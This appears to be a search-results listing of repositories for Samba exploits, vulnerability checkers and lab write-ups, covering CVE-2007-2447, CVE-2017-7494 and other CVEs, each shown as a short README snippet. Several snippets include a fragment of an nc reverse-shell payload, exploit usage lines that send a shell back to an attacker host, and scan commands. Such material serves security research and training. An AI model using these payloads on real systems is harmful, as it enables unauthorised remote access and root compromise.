12251 matches found
CVE-2025-33073-checker
CVE-2025-33073 Checker Script This rough PoC checker script tests targets for CVE-2025-33073 vulnerability by attempting to perform NTLM reflection attacks using NTLM auth coercion via samba RPC, to do this you need to have account with access to the samba. Also you need to register a domain...
CVE-2021-44142
CVE-2021-44142 Vulnerability Checker A tool to check if a Samba server is vulnerable to CVE-2021-44142 Background CVE-2021-44142 is a heap out-of-bounds read and write in Samba's vfsfruit module used at Pwn2Own Austin 2021 against the Western Digital PR4100. It was first discovered by Nguyễn Hoàn...
Exploiting-Samba-on-Metasploitable-2
Exploiting-Samba-on-Metasploitable-2 My goal here was to utilize metasploit from a Kali Linux machine to exploit a well-known samba vulnerability CVE-2007-2447. This is done in order to infiltrate a Metasploitable 2 machine with a reverse shell to access the root folder. Once this folder has been...
Samba-CVE-2021-44142
CVE-2021-44142 Vulnerability Checker A tool to check if a Samba server is vulnerable to CVE-2021-44142 Background CVE-2021-44142 is a heap out-of-bounds read and write in Samba's vfsfruit module used at Pwn2Own Austin 2021 against the Western Digital PR4100. It was first discovered by Nguyễn Hoàn...
CVE-2025-10230
CVE-2025-10230 PoC for CVE-2025-10230 - Samba WINS hook command injection The configuration required for this vulnerability probably affects 0 people. The injection is limited to 15 characters and must be a valid WINS name so no ;...
smb-usermap
Samba "username map script" Command Execution This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute...
CVE-2007-2447-RCE
This exploit helps you to get a reverse shell, exploting Samba 3.0.20 3.0.25 · When executing the script with python3 with the --help parameter, it asks us for a series of parameters --lhost LHOST your host ip where the shell will be received --lport LPORT your port port where the shell will be...
CVE-2007-2447
Sambaster cve-2007-2447 Samba 3.0.20 requirement module: pysmb if you not installed it: pip3 install pysmb Usage: python3 sambaster.py...
CVE-2007-2447
CVE-2007-2447 PoC: Samba "usermap script" remote command-execution historical CVE. This repository contains a small proof-of-concept script for research and educational review. The primary script is usermapscriptCommandExecution.py. Reference writeup:...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Usage Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost 10.129.232.46...
CVE-2017-7494
CVE-2017-7494 Remote root exploit for the SAMBA CVE-2017-7494 vulnerability. Details This exploit is divided in 2 parts: First, it compiles a payload called "implant.c" and generates a library libimplantx32.so or libimplantx64.so that changes to the root user, detaches from the parent process and...
Samba-CVE-2017-7494
Samba-CVE-2017-7494 https://www.zer0d0y.info/post/notes-on-bug-hunting-labs/...
CVE-2007-2447
CVE-2007-2447 Exploit Samba...
CVE-2017-7494_IT19115344
CVE-2017-7494IT19115344 A remote code execution flaw was found in Samba. A malicious authenticated samba client, having write access to the samba share, could use this flaw to execute arbitrary code as root...
Samba-Exploit-CVE-2007-2447
🎬 This YouTube video 1️⃣ Scanning the target Nmap nmap -sS -sV -p 139,445 192.168.56.102 Expected result: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Samba version: 3.0.20 This is vulnerable to CVE-2007-2447. 2️⃣ Identifying the Samba exploit...
Kioptrix-Level1-Vulnerability-Analysis
Kioptrix Level 1: Full-Spectrum Vulnerability Audit & Exploitation 🏛️ Professional Objective The objective was to perform a structured penetration test on the Kioptrix Level 1 environment to achieve full 'root' compromise and document technical remediation strategies suitable for both Red and Blue...
Samba-Usermap-exploit
CVE-2007-2447 - Samba usermap exploit. Usage: $ python3 exploit.py RHOST -- The target address RPORT -- The target port TCP : 139 LHOST -- The listen address LPORT -- The listen port Installation git clone https://github.com/Nosferatuvjr/Samba-Usermap-exploit pip install -r requirements.txt...
pentest-writeups
pentest-writeups Kioptrix Level 1 writeup - CVE-2003-0201 Samba trans2open Kioptrix Level 1 — Penetration Testing Writeup Author: Amirbek Raxmatullayev @americo444 Date: 2026-06-17 Platform: VulnHub Difficulty: Beginner Objective: Gain root access 1. Environment Setup Component| Details ---|---...
CVE-2017-7494
CVE-2017-7494 hello i,am Gihad from Libya 17 C information On Exploit ========================================================================================== This module triggers an arbitrary shared library load vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module...